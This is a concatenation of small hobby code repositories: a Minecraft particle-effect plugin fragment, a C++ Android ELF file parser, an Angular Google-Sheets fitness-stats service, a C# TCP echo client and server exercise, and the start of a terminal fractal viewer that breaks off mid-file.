getConfig().set(p.getName()+"'s Flame.enabled", "yes"); saveConfig(); p.closeInventory(); e.setCancelled(true); } if(e.getSlot() == 1){ PacketUtils.sendTitle(p, ChatColor.RED+"Flame Effect", "Has Been Disabled", 1, 2, 1); flame.remove(p.getUniqueId()); getConfig().set(p.getName()+"'s Flame.enabled", "no"); saveConfig(); p.closeInventory(); e.setCancelled(true); } } } @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { String cmd = command.getName(); Player p = (Player) sender; if (cmd.equalsIgnoreCase("effectgui")) { p.sendMessage(ChatColor.ITALIC+"Opened EffectsMenu"); p.openInventory(inv); } if (cmd.equalsIgnoreCase("water")) { PacketUtils.sendTitle(p, ChatColor.AQUA+"Water Effect", "Has Been Enabled", 1, 2, 1); water.add(p.getUniqueId()); getConfig().set(p.getName()+"'s water.enabled", "yes"); saveConfig(); } if (cmd.equalsIgnoreCase("wateroff")) { PacketUtils.sendTitle(p, ChatColor.AQUA+"Water Effect", "Has Been Disabled", 1, 2, 1); water.remove(p.getUniqueId()); getConfig().set(p.getName()+"'s water.enabled", "no"); saveConfig(); } return false; } @SuppressWarnings("deprecation") @EventHandler public void onPMove(PlayerMoveEvent e){ Player t = e.getPlayer(); if(flame.contains(e.getPlayer().getUniqueId())){ e.getPlayer().playEffect(e.getPlayer().getLocation(), Effect.MOBSPAWNER_FLAMES, 500); } Location tl8 = new Location(t.getWorld(), t.getLocation().getX(), t.getLocation().getY() + 2.0D, t.getLocation().getZ()); if(water.contains(e.getPlayer().getUniqueId())){ e.getPlayer().playEffect(tl8, Effect.WATERDRIP, 500); } } }```
zds782205872/ElfFileParser
zds782205872/ElfFileParser README.md ```# ElfFileParser android elf(.so) file parser ``` Formatter.cpp ```#include "Formatter.h" #include <cstdlib> #include <cstring> #include <iostream> // TODO: 前面填充 0。 char const * Formatter::binary_8_bit(uint8_t n) { char buffer[8 + 1]; memset(buffer, 0, 8 + 1); _itoa_s(n, buffer, 2); return buffer; } char const* Formatter::binary_16_bit(uint16_t n) { char buffer[16 + 1]; memset(buffer, 0, 16 + 1); _itoa_s(n, buffer, 2); return buffer; } char const* Formatter::binary_32_bit(uint32_t n) { char buffer[32 + 1]; memset(buffer, 0, 32 + 1); _itoa_s(n, buffer, 2); return buffer; } char const* Formatter::binary_64_bit(uint64_t n) { char buffer[64 + 1]; memset(buffer, 0, 64 + 1); _itoa_s(n, buffer, 2); return buffer; } ``` ElfParser.cpp ```#include "ElfParser.h" #include <cstring> #include <vector> #include "type/elf.h" #include "util/Printer.h" ElfParser::ElfParser() : ElfParser(nullptr) {} ElfParser::ElfParser(char const* elf_file) { this->elf_file_ = nullptr; this->elf_bit_ = 0; this->elf_header32_ = Elf32_Ehdr(); this->elf_header64_ = Elf64_Ehdr(); this->program_header32_list_ = nullptr; this->program_header64_list_ = nullptr; this->section_header32_list_ = nullptr; this->section_header64_list_ = nullptr; this->symbol32_list_ = nullptr; this->symbol64_list_ = nullptr; this->string_table_ = nullptr; this->symbol_string_table_ = nullptr; this->relocation32_list_ = nullptr; this->relocation64_list_ = nullptr; if (elf_file == nullptr) return; const auto f = fopen_s(&this->elf_file_, elf_file, "rb"); printf("open elf file: %s\n\n", elf_file); if (f != 0 || this->elf_file_ == nullptr) printf("open elf file error: %s\n", elf_file); } ElfParser::~ElfParser() { printf("\n>>>>>>>>>>>> release <<<<<<<<<<<<\n\n"); if (this->elf_file_ != nullptr) { printf("close elf file.\n"); fclose(this->elf_file_); } if (this->section_header32_list_ != nullptr) { printf("delete section header 32 array.\n"); delete[] this->section_header32_list_; this->section_header32_list_ = nullptr; } if (this->section_header64_list_ != nullptr) { printf("delete section header 64 array.\n"); delete[] this->section_header64_list_; this->section_header64_list_ = nullptr; } if (this->program_header32_list_ != nullptr) { printf("delete program header 32 array.\n"); delete[] this->program_header32_list_; this->program_header32_list_ = nullptr; } if (this->program_header64_list_ != nullptr) { printf("delete program header 64 array.\n"); delete[] this->program_header64_list_; this->program_header64_list_ = nullptr; } if (this->string_table_ != nullptr) { printf("delete string table.\n"); delete[] this->string_table_; this->string_table_ = nullptr; } if (this->symbol_string_table_ != nullptr) { printf("delete symbol string table.\n"); delete[] this->symbol_string_table_; this->symbol_string_table_ = nullptr; } if (this->symbol32_list_ != nullptr) { printf("delete symbol 32 list.\n"); delete[] this->symbol32_list_; this->symbol32_list_ = nullptr; } if (this->symbol64_list_ != nullptr) { printf("delete symbol 64 list.\n"); delete[] this->symbol64_list_; this->symbol64_list_ = nullptr; } if (this->relocation32_list_ != nullptr) { printf("delete relocation 32 list.\n"); delete[] this->relocation32_list_; this->relocation32_list_ = nullptr; } if (this->relocation64_list_ != nullptr) { printf("delete relocation 64 list.\n"); delete[] this->relocation64_list_; this->relocation64_list_ = nullptr; } } void ElfParser::parse() { printf(">>>>>>>>>>>> parse elf header <<<<<<<<<<<<\n\n"); uint8_t bit; if (!check_elf()) { printf("it is not a elf file.\n"); return; } parse_elf_header(); parse_section_header_list(); parse_string_table(); print_section_header_list(); parse_symbol_string_table(); parse_program_header_list(); parse_section_list(); } template <typename T = Elf32_Ehdr> void print_elf_header(T* header, const uint8_t bit) { printf("ident: \t\t"); Printer::print_char_array(header->e_ident, 16); printf("type: \t\t%u\n", header->e_type); printf("machine: \t%u\n", header->e_machine); printf("version: \t%u\n", header->e_version); if (bit == 32) { printf("entry: \t\t%u\n", header->e_entry); printf("phoff: \t\t%u\n", header->e_phoff); printf("shoff: \t\t%u\n", header->e_shoff); } else // bit == 64 { printf("entry: \t\t%llu\n", header->e_entry); printf("phoff: \t\t%llu\n", header->e_phoff); printf("shoff: \t\t%llu\n", header->e_shoff); } printf("flags: \t\t0x%x\n", header->e_flags); printf("ehsize: \t%u\n", header->e_ehsize); printf("phentsize: \t%u\n", header->e_phentsize); printf("phnum: \t\t%u\n", header->e_phnum); printf("shentsize: \t%u\n", header->e_shentsize); printf("shnum: \t\t%u\n", header->e_shnum); printf("shstrndx: \t%u\n", header->e_shstrndx); } bool ElfParser::check_elf() { unsigned char elf_ident[16] = { 0 }; if (0 == fread(elf_ident, sizeof(char), 16, this->elf_file_)) { printf("check elf error: read error"); return false; } if (memcmp(elf_ident, ElfMagic, strlen(ElfMagic)) != 0) return false; char elf_type[10] = "ERROR"; switch (elf_ident[4]) { case ELFCLASSNONE: strcpy_s(elf_type, "invalid"); break; case ELFCLASS32: strcpy_s(elf_type, "ELF32"); this->elf_bit_ = 32; break; case ELFCLASS64: strcpy_s(elf_type, "ELF64"); this->elf_bit_ = 64; break; default: break; } printf("Class: \t\t%s\n", elf_type); char elf_order[15] = "ERROR"; switch (elf_ident[5]) { case ELFDATANONE: strcpy_s(elf_order, "invalid"); break; case ELFDATA2LSB: strcpy_s(elf_order, "little endian"); break; case ELFDATA2MSB: strcpy_s(elf_order, "big endian"); break; default: break; } printf("Order: \t\t%s\n", elf_order); return true; } void ElfParser::parse_elf_header() { if (0 != fseek(this->elf_file_, 0, 0)) { printf("#parse_elf_header - seek file error.\n"); return; } void* elf_header = nullptr; size_t elf_header_size = 0; if (this->elf_bit_ == 32) { elf_header = &this->elf_header32_; elf_header_size = sizeof(Elf32_Ehdr); } else // this->elf_bit_ == 64 { elf_header = &this->elf_header64_; elf_header_size = sizeof(Elf64_Ehdr); } if (0 == fread(elf_header, elf_header_size, 1, this->elf_file_)) { printf("parse elf header%d error.\n", this->elf_bit_); return; } if (this->elf_bit_ == 32) print_elf_header(&this->elf_header32_, 32); else // this->elf_bit_ == 64 print_elf_header(&this->elf_header64_, 64); } // todo: pretty print template <typename T = Elf32_Shdr> static void print_section_header(T* header, const uint8_t bit) { #ifdef _PRINT_SECTION_HEADER_LIST_ printf("sh_name: \t%u\n", header->sh_name); printf("sh_type: \t0x%x\n", header->sh_type); printf("sh_link: \t%u\n", header->sh_link); printf("sh_info: \t%u\n", header->sh_info); if (bit == 32) { printf("sh_flags: \t%u\n", header->sh_flags); printf("sh_offset: \t%u\n", header->sh_offset); printf("sh_size: \t%u\n", header->sh_size); printf("sh_addr: \t%u\n", header->sh_addr); printf("sh_addralign: \t%u\n", header->sh_addralign); printf("sh_entsize: \t%u\n", header->sh_entsize); } else // bit == 64 { printf("sh_flags: \t%llu\n", header->sh_flags); printf("sh_offset: \t%llu\n", header->sh_offset); printf("sh_size: \t%llu\n", header->sh_size); printf("sh_addr: \t%llu\n", header->sh_addr); printf("sh_addralign: \t%llu\n", header->sh_addralign); printf("sh_entsize: %llu\n", header->sh_entsize); } #endif // _PRINT_PROGRAM_HEADER_LIST_ } void ElfParser::parse_section_header_list() { printf("\n>>>>>>>>>>>> parse section header list <<<<<<<<<<<<\n\n"); long section_header_offset = 0; size_t section_header_count = 0; size_t section_header_size = 0; void* section_header_list = nullptr; if (this->elf_bit_ == 32) { section_header_offset = this->elf_header32_.e_shoff; section_header_count = this->elf_header32_.e_shnum; section_header_size = sizeof(Elf32_Shdr); this->section_header32_list_ = new Elf32_Shdr[section_header_count]; section_header_list = this->section_header32_list_; printf("section header offset: \t%u\n", this->elf_header32_.e_shoff); printf("section header size: \t%u\n", this->elf_header32_.e_shnum); } else // this->elf_bit_ == 64 { section_header_offset = this->elf_header64_.e_shoff; section_header_count = this->elf_header64_.e_shnum; section_header_size = sizeof(Elf64_Shdr); this->section_header64_list_ = new Elf64_Shdr[section_header_count]; section_header_list = this->section_header64_list_; printf("section header offset: \t%llu\n", this->elf_header64_.e_shoff); printf("section header size: \t%u\n", this->elf_header64_.e_shnum); } if (0 != fseek(this->elf_file_, section_header_offset, 0)) { printf("#parse_section_header - seek file error.\n"); return; } if (0 == fread(section_header_list, section_header_size, section_header_count, this->elf_file_)) { printf("parse section header%d error.\n", this->elf_bit_); return; } } void ElfParser::parse_string_table() { printf("\n>>>>>>>>>>>> parse string table <<<<<<<<<<<<\n\n"); // for .shstrtab; size_t offset; size_t size; if (this->elf_bit_ == 32) { // 字符串表下标 const auto str_table_index = this->elf_header32_.e_shstrndx; const auto& section_header = this->section_header32_list_[str_table_index]; offset = section_header.sh_offset; size = section_header.sh_size; } else // this->elf_bit_ == 64 { const auto str_table_index = this->elf_header64_.e_shstrndx; const auto& section_header = this->section_header64_list_[str_table_index]; offset = section_header.sh_offset; size = section_header.sh_size; } if (0 != fseek(this->elf_file_, offset, 0)) { printf("#parse_string_table - seek file error.\n"); return; } this->string_table_ = new char[size]; if (0 == fread(this->string_table_, size, 1, this->elf_file_)) { printf("parse string table%d error.\n", this->elf_bit_); return; } size_t string_count = 0; for (size_t i = 0; i < size; i++) { if (this->string_table_[i] == 0 && i != (size - 1)) { const auto off = i + 1; const auto* str = get_string_from_string_table(off); const auto len = strlen(str); printf("str[%llu] \tlen: %llu, s: %s\n", off, len, str); string_count++; } } printf("string count: %llu\n", string_count); } void ElfParser::print_section_header_list() const { #ifdef _PRINT_SECTION_HEADER_LIST_ size_t section_header_count = 0; if (this->elf_bit_ == 32) section_header_count = this->elf_header32_.e_shnum; else // this->elf_bit_ == 64 section_header_count = this->elf_header64_.e_shnum; for (size_t i = 0; i < section_header_count; i++) { printf("\n>>>>>>>>>>>> parse section header <<<<<<<<<<<<\n\n"); printf("index: \t\t%llu\n", i); if (this->elf_bit_ == 32) { printf("name: \t\t%s\n\n", get_string_from_string_table(this->section_header32_list_[i].sh_name)); print_section_header(&this->section_header32_list_[i], this->elf_bit_); } else // this->elf_bit_ == 64 { printf("name: \t\t%s\n\n", get_string_from_string_table(this->section_header64_list_[i].sh_name)); print_section_header(&this->section_header64_list_[i], this->elf_bit_); } } #endif // _PRINT_SECTION_HEADER_LIST_ } void ElfParser::parse_symbol_string_table() { printf("\n>>>>>>>>>>>> parse symbol string table <<<<<<<<<<<<\n\n"); // for .dynstr size_t offset = 0; size_t size = 0; if(this->elf_bit_ == 32) { for (size_t i = 0; i < this->elf_header32_.e_shnum; i++) { auto& section_header = this->section_header32_list_[i]; const auto* section_name = get_string_from_string_table(section_header.sh_name); if(section_header.sh_type == SHT_STRTAB && strcmp(section_name, ".dynstr") == 0) { offset = section_header.sh_offset; size = section_header.sh_size; break; } } } else // this->elf_bit_ == 32 { for (size_t i = 0; i < this->elf_header64_.e_shnum; i++) { auto& section_header = this->section_header64_list_[i]; const auto* section_name = get_string_from_string_table(section_header.sh_name); if (section_header.sh_type == SHT_STRTAB && strcmp(section_name, ".dynstr") == 0) { offset = section_header.sh_offset; size = section_header.sh_size; break; } } } if(offset == 0 || size == 0) { printf("error: not found section .dynstr\n"); return; } if (0 != fseek(this->elf_file_, offset, 0)) { printf("#parse_symbol_string_table - seek file error.\n"); return; } this->symbol_string_table_ = new char[size]; if (0 == fread(this->symbol_string_table_, size, 1, this->elf_file_)) { printf("parse symbol string table%d error.\n", this->elf_bit_); return; } size_t string_count = 0; for (size_t i = 0; i < size; i++) { if (this->symbol_string_table_[i] == 0 && i != (size - 1)) { const auto off = i + 1; const auto* str = get_string_from_symbol_string_table(off); const auto len = strlen(str); printf("str[%llu] \tlen: %llu, s: %s\n", off, len, str); string_count++; } } printf("string count: %llu\n", string_count); } const char* ElfParser::get_string_from_string_table(const size_t offset) const { return &this->string_table_[offset]; } inline const char* ElfParser::get_string_from_symbol_string_table(size_t offset) const { return &this->symbol_string_table_[offset]; } // todo: pretty print template <typename T = Elf32_Phdr> static void print_program_header(T* header, const uint8_t bit) { #ifdef _PRINT_PROGRAM_HEADER_LIST_ printf("p_type: \t0x%x\n", header->p_type); printf("p_flags: \t%u\n", header->p_flags); if (bit == 32) { printf("p_offset: \t%u\n", header->p_offset); printf("p_vaddr: \t%u\n", header->p_vaddr); printf("p_paddr: \t%u\n", header->p_paddr); printf("p_filesz: \t%u\n", header->p_filesz); printf("p_memsz: \t%u\n", header->p_memsz); printf("p_align: \t%u\n", header->p_align); } else // bit == 64 { printf("p_offset: \t0x%x\n", header->p_offset); printf("p_vaddr: \t%llu\n", header->p_vaddr); printf("p_paddr: \t%llu\n", header->p_paddr); printf("p_filesz: \t%llu\n", header->p_filesz); printf("p_memsz: \t%llu\n", header->p_memsz); printf("p_align: \t%llu\n", header->p_align); } #endif // _PRINT_PROGRAM_HEADER_LIST_ } void ElfParser::parse_program_header_list() { printf("\n>>>>>>>>>>>> parse program list <<<<<<<<<<<<\n\n"); long program_header_list_offset = 0; size_t program_header_count = 0; size_t program_header_size = 0; void* program_header_list = nullptr; if (this->elf_bit_ == 32) { program_header_list_offset = this->elf_header32_.e_phoff; program_header_count = this->elf_header32_.e_phnum; program_header_size = sizeof(Elf32_Phdr); this->program_header32_list_ = new Elf32_Phdr[program_header_count]; program_header_list = this->program_header32_list_; printf("program header offset: \t%u\n", this->elf_header32_.e_phoff); printf("program header size: \t%u\n", this->elf_header32_.e_phnum); } else // this->elf_bit_ == 64 { program_header_list_offset = this->elf_header64_.e_phoff; program_header_count = this->elf_header64_.e_phnum; program_header_size = sizeof(Elf64_Phdr); this->program_header64_list_ = new Elf64_Phdr[program_header_count]; program_header_list = this->program_header64_list_; printf("program header offset: \t%llu\n", this->elf_header64_.e_phoff); printf("program header size: \t%u\n", this->elf_header64_.e_phnum); } if (0 != fseek(this->elf_file_, program_header_list_offset, 0)) { printf("#parse_program_header_list - seek file error.\n"); return; } if (0 == fread(program_header_list, program_header_size, program_header_count, this->elf_file_)) { printf("parse program header%d error.\n", this->elf_bit_); return; } #ifdef _PRINT_PROGRAM_HEADER_LIST_ for (size_t i = 0; i < program_header_count; i++) { printf("\n>>>>>>>>>>>> parse program header <<<<<<<<<<<<\n\n"); printf("index: \t\t%llu\n\n", i); if (this->elf_bit_ == 32) print_program_header(&this->program_header32_list_[i], this->elf_bit_); else // this->elf_bit_ == 64 print_program_header(&this->program_header64_list_[i], this->elf_bit_); } #endif // _PRINT_PROGRAM_HEADER_LIST_ } void ElfParser::parse_section_list() { printf("\n>>>>>>>>>>>> parse section list <<<<<<<<<<<<\n\n"); size_t list_len = 0; if (this->elf_bit_ == 32) list_len = this->elf_header32_.e_shnum; else // this->elf_bit_ == 64 list_len = this->elf_header64_.e_shnum; if (this->elf_bit_ == 32) { for (size_t i = 0; i < list_len; i++) { auto& section_header = this->section_header32_list_[i]; printf("parse section: %s\n", get_string_from_string_table(section_header.sh_name)); switch (section_header.sh_type) { case SHT_SYMTAB: break; case SHT_DYNSYM: parse_symbol_table(section_header.sh_offset, section_header.sh_size); break; case SHT_REL: parse_relocation_table(section_header.sh_offset, section_header.sh_size); break; default: printf("ignored.\n"); break; } } } else // this->elf_bit_ == 64 { for (size_t i = 0; i < list_len; i++) { auto& section_header = this->section_header64_list_[i]; printf("parse section: %s\n", get_string_from_string_table(section_header.sh_name)); switch (section_header.sh_type) { case SHT_SYMTAB: break; case SHT_DYNSYM: parse_symbol_table(section_header.sh_offset, section_header.sh_size); break; default: printf("ignored.\n"); break; } } } } template <typename T = Elf32_Sym> static void print_symbol(T* symbol, const uint8_t bit) { if (bit == 32) { printf("st_name: \t%u\n", symbol->st_name); printf("st_value: \t%u\n", symbol->st_value); printf("st_size: \t%u\n", symbol->st_size); printf("st_info: \t%u\n", symbol->st_info); printf("st_other: \t%u\n", symbol->st_other); printf("st_shndx: \t%u\n", symbol->st_shndx); } else // bit == 64 { printf("st_name: \t%llu\n", symbol->st_name); printf("st_value: \t%llu\n", symbol->st_value); printf("st_size: \t%llu\n", symbol->st_size); printf("st_info: \t%llu\n", symbol->st_info); printf("st_other: \t%llu\n", symbol->st_other); printf("st_shndx: \t%llu\n", symbol->st_shndx); } } void ElfParser::parse_symbol_table(const long offset, const size_t size) { printf("\n>>>>>>>>>>>> parse symbol table <<<<<<<<<<<<\n\n"); if (0 != fseek(this->elf_file_, offset, 0)) { printf("#parse_symbol_table - seek file error.\n"); return; } size_t sym_size = 0; size_t sym_count = 0; void* symbol_buffer = nullptr; if (this->elf_bit_ == 32) { sym_size = sizeof(Elf32_Sym); sym_count = size / sym_size; this->symbol32_list_ = new Elf32_Sym[sym_count]; symbol_buffer = this->symbol32_list_; } else // this->elf_bit_ == 64 { sym_size = sizeof(Elf64_Sym); sym_count = size / sym_size; this->symbol64_list_ = new Elf64_Sym[sym_count]; symbol_buffer = this->symbol64_list_; } printf("symbol count: %llu\n", sym_count); if (0 == fread(symbol_buffer, sym_size, sym_count, this->elf_file_)) { printf("parse symbol table%d error.\n", this->elf_bit_); return; } #ifdef _PRINT_SYMBOL_TABLE_ for (size_t i = 0; i < sym_count; i++) { printf("\n>>>>>>>>>>>> parse symbol <<<<<<<<<<<<\n\n"); printf("index: %llu\n", i); if (this->elf_bit_ == 32) { auto& symbol = this->symbol32_list_[i]; printf("symbol name: %s\n\n", get_string_from_symbol_string_table(symbol.st_name)); print_symbol(&symbol, this->elf_bit_); } else // this-elf_bit_ == 64 { auto& symbol = this->symbol64_list_[i]; printf("symbol name: %s\n\n", get_string_from_symbol_string_table(symbol.st_name)); print_symbol(&symbol, this->elf_bit_); } } #endif // _PRINT_SYMBOL_TABLE_ } void ElfParser::parse_relocation_table(const long offset, const size_t size) { printf("\n>>>>>>>>>>>> parse relocation table <<<<<<<<<<<<\n\n"); if (0 != fseek(this->elf_file_, offset, 0)) { printf("#parse_relocation_table - seek file error.\n"); return; } size_t rel_size = 0; size_t rel_count = 0; void* rel_buffer = nullptr; if (this->elf_bit_ == 32) { rel_size = sizeof(Elf32_Rel); rel_count = size / rel_size; this->relocation32_list_ = new Elf32_Rel[rel_count]; rel_buffer = this->relocation32_list_; } else // this->elf_bit_ == 64 { rel_size = sizeof(Elf64_Rel); rel_count = size / rel_size; this->relocation64_list_ = new Elf64_Rel[rel_count]; rel_buffer = this->relocation64_list_; } printf("relocation entries count: %llu\n", rel_count); if (0 == fread(rel_buffer, rel_size, rel_count, this->elf_file_)) { printf("parse relocation table%d error.\n", this->elf_bit_); return; } #ifdef _PRINT_RELOCATION_TABLE for (size_t i = 0; i < rel_count; i++) { printf("\n>>>>>>>>>>>> parse relocation entry <<<<<<<<<<<<\n\n"); printf("index: %llu\n\n", i); if (this->elf_bit_ == 32) { auto& relocation = this->relocation32_list_[i]; printf("r_offset: \t%u\n", relocation.r_offset); printf("r_info: \t%u\n", relocation.r_info); } else // this-elf_bit_ == 64 { auto& relocation = this->relocation64_list_[i]; printf("r_offset: \t%llu\n", relocation.r_offset); printf("r_info: \t%llu\n", relocation.r_info); } } #endif // _PRINT_RELOCATION_TABLE } ``` ElfFileParser.cpp ```// ElfFileParser.cpp : Defines the entry point for the application. // #include <iostream> #include "ElfParser.h" using namespace std; int main() { cout << "Hello World!" << endl; ElfParser elf_parser(R"(..\..\..\file\armeabi-v7a\libfoo.so)"); // ElfParser elf_parser(R"(..\..\..\file\arm64-v8a\libfoo.so)"); elf_parser.parse(); return 0; } ```
zdudzik/FitLog
zdudzik/FitLog sheet.service.ts ```import { Injectable } from '@angular/core'; import { Observable } from 'rxjs'; import { HttpClient } from '@angular/common/http'; import { map } from 'rxjs/operators'; @Injectable({ providedIn: 'root' }) export class SheetService { constructor(private http: HttpClient) { } public getStats(): Observable<any> { const sheetno="oi09udo" const sheetid = "194s-nX40PFQSNT9yrLd6frHD5HRoWXW0A_1S9hT5Rbc" const url = `https://spreadsheets.google.com/feeds/list/${sheetid}/${sheetno}/public/values?alt=json`; let statsObj = { runningStats: { milesRun: [], avgDist: [], avgPace: [], longestRun: [], }, gymStats: { numVisits: [], totalTime: [], avgTime: [], }, mostRecent: { runDate: -1, runTime: -1, runDist: -1, gymDate: -1, gymTime: -1, } } return this.http.get(url) .pipe( map((res: any) => { const data = res.feed.entry; const returnArray: Array<any> = []; if (data && data.length > 0) { let i = 0; data.forEach((entry: any) => { let obj = {}; switch (i) { case 0: // miles run & num visits // running statsObj.runningStats.milesRun.push(entry.gsx$pastweek.$t); statsObj.runningStats.milesRun.push(entry.gsx$thismonth.$t); statsObj.runningStats.milesRun.push(entry.gsx$thisyear.$t); statsObj.runningStats.milesRun.push(entry.gsx$alltime.$t); // gym statsObj.gymStats.numVisits.push(entry.gsx$pastweek_2.$t); statsObj.gymStats.numVisits.push(entry.gsx$thismonth_2.$t); statsObj.gymStats.numVisits.push(entry.gsx$thisyear_2.$t); statsObj.gymStats.numVisits.push(entry.gsx$alltime_2.$t); break; case 1: // avg dist and total time // running statsObj.runningStats.avgDist.push(entry.gsx$pastweek.$t); statsObj.runningStats.avgDist.push(entry.gsx$thismonth.$t); statsObj.runningStats.avgDist.push(entry.gsx$thisyear.$t); statsObj.runningStats.avgDist.push(entry.gsx$alltime.$t); // gym statsObj.gymStats.totalTime.push(entry.gsx$pastweek_2.$t); statsObj.gymStats.totalTime.push(entry.gsx$thismonth_2.$t); statsObj.gymStats.totalTime.push(entry.gsx$thisyear_2.$t); statsObj.gymStats.totalTime.push(entry.gsx$alltime_2.$t); break; case 2: // avg pace and avg time // running statsObj.runningStats.avgPace.push(entry.gsx$pastweek.$t); statsObj.runningStats.avgPace.push(entry.gsx$thismonth.$t); statsObj.runningStats.avgPace.push(entry.gsx$thisyear.$t); statsObj.runningStats.avgPace.push(entry.gsx$alltime.$t); // gym statsObj.gymStats.avgTime.push(entry.gsx$pastweek_2.$t); statsObj.gymStats.avgTime.push(entry.gsx$thismonth_2.$t); statsObj.gymStats.avgTime.push(entry.gsx$thisyear_2.$t); statsObj.gymStats.avgTime.push(entry.gsx$alltime_2.$t); break; case 3: // longest run // running statsObj.runningStats.longestRun.push(entry.gsx$pastweek.$t); statsObj.runningStats.longestRun.push(entry.gsx$thismonth.$t); statsObj.runningStats.longestRun.push(entry.gsx$thisyear.$t); statsObj.runningStats.longestRun.push(entry.gsx$alltime.$t); // recents (these are labelled incorrectly and a little janky, but data is correct) statsObj.mostRecent.runDate = entry.gsx$gym.$t; statsObj.mostRecent.runTime = entry.gsx$thismonth_2.$t; statsObj.mostRecent.runDist = entry.gsx$pastweek_2.$t; statsObj.mostRecent.gymDate = entry.gsx$thisyear_2.$t; statsObj.mostRecent.gymTime = entry.gsx$alltime_2.$t; break; } i++ }); } return statsObj; }) ); } }``` home.component.ts ```import { Component, OnInit } from '@angular/core'; import { SheetService } from 'src/app/services/sheet.service'; @Component({ selector: 'app-home', templateUrl: './home.component.html', styleUrls: ['./home.component.scss'] }) export class HomeComponent implements OnInit { data: any = []; constructor(public sheetService: SheetService) { } ngOnInit(): void { this.sheetService.getStats().subscribe(res => { this.data = res; console.log(this.data); }) } public getData() { this.data= this.sheetService.getStats(); } }```
zdx862694718/zdx
zdx862694718/zdx README.md ```# zdx zdx ```
zealand2019e/simple-socket-programming-ThePjuns
zealand2019e/simple-socket-programming-ThePjuns Client.cs ```using System; using System.Collections.Generic; using System.IO; using System.Net; using System.Net.Sockets; using System.Reflection; using System.Text; namespace EchoClient { class Client { public static void Start() //test comment { TcpClient socket = null; int port = 7777; IPAddress localAddress = IPAddress.Parse("10.200.165.17"); socket = new TcpClient(localAddress.ToString(), port); Stream ns = socket.GetStream(); StreamReader sr = new StreamReader(ns); StreamWriter sw = new StreamWriter(ns); sw.WriteLine("Nej"); sw.Flush(); string line = sr.ReadLine(); Console.WriteLine(line); } } } ``` Server.cs ```using System; using System.Collections.Generic; using System.IO; using System.Net; using System.Net.Sockets; using System.Text; namespace EchoServer { class Server { public static void Start() { Console.WriteLine("starting echo biatch"); //TcpListener serverSocket = new TcpListener(IPAddress.Loopback, 7777); // til lokal/egen forbindelse. TcpListener serverSocket = new TcpListener(7777); // ingen IP angivet, modtager fra alle. // Start server serverSocket.Start(); // accept tcp client TcpClient connectionSocket = serverSocket.AcceptTcpClient(); Console.WriteLine("server activated"); DoClient(connectionSocket); serverSocket.Stop(); Console.WriteLine("server stopped"); } public static void DoClient(TcpClient connectionSocket) { Stream ns = connectionSocket.GetStream(); StreamReader sr = new StreamReader(ns); StreamWriter sw = new StreamWriter(ns); sw.AutoFlush = true; //enables automatic flushing while (true) { string message = sr.ReadLine(); Console.WriteLine("received message: " + message); if (message != null) sw.WriteLine(message.ToUpper()); if (message.ToLower() == "luk") { break; } } ns.Close(); Console.WriteLine("net stream closed"); connectionSocket.Close(); Console.WriteLine("connection socket closed"); } } }```
zecorreial/modulogit
zecorreial/modulogit script.js ```Escript para modificar o html trabalhando no script tudo funcionando ```
zed0/fracview
zed0/fracview colour.cpp ```#include "colour.h" using namespace std; colour::colour(int newR, int newG, int newB, int newA) { R = newR<0?0:newR>255?255:newR; G = newG<0?0:newG>255?255:newG; B = newB<0?0:newB>255?255:newB; A = newA<0?0:newA>255?255:newA; } ostream& operator<< (ostream &out, colour &cPoint) { out << "(" << cPoint.R << "," << cPoint.G << "," << cPoint.B << "," << cPoint.A << ")"; return out; } bool colour::operator==(const colour &other) const { if(R != other.R) return false; if(G != other.G) return false; if(B != other.B) return false; if(A != other.A) return false; return true; } bool colour::operator!=(const colour &other) const { return !(*this == other); } colour colour::add(colour target) { return colour(R+target.R, G+target.G, B+target.B, A+target.A); } int colour::toAnsi() { int closest6[256] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5}; int closestR = closest6[R]; int closestG = closest6[G]; int closestB = closest6[B]; int result = 16 + closestR*36 + closestG*6 + closestB; return result; } colour colour::product(double target) { return colour(R*target, G*target, B*target, A*target); } colour colour::productNoA(double target) { return colour(R*target, G*target, B*target, A); } ``` main.cpp ```#include <sys/ioctl.h> #include <termios.h> #include <unistd.h> #include "colour.h" #include "stringUtils.h" #include "viewport.h" using namespace std; int main(int argc, char *argv[]) { bool utf = true; int pixelsHigh = 0; int pixelsWide = 0; double minX = -2.5; double maxX = 1.5; double minY = -2; double maxY = 2; double stretch_k = 1.0; double theta = 0.0; int iterates = 1000; int antialiasing = 2; double magnification = 1; double colourScale = 128; int colourOffset = 0; vector<string> args(argv, argv + argc); string saveLocation = ""; for (int i = 0; i < args.size(); ++i) { if (args.at(i) == "--help") { cout << "Usage:" << args.at(0) << " [--min-x <min x>] [--max-x <max x>] [--min-y <min y>] " "[--max-y <max y>] [--antialiasing <antialiasing>] " "[--width <pixels wide>] [--height <pixels high>] " "[--no-utf] [--k <k value>] [--theta <theta value>] " "[--iterates <max iterations>] [--dir <save location>]" << endl; cout << "Keys:" << endl; cout << "h,j,k,l: scroll left, down, up, right." << endl; cout << "u,d: zoom in, out." << endl; cout << "n,m: colour scale up, down." << endl; cout << "e,r: iteration count up, down." << 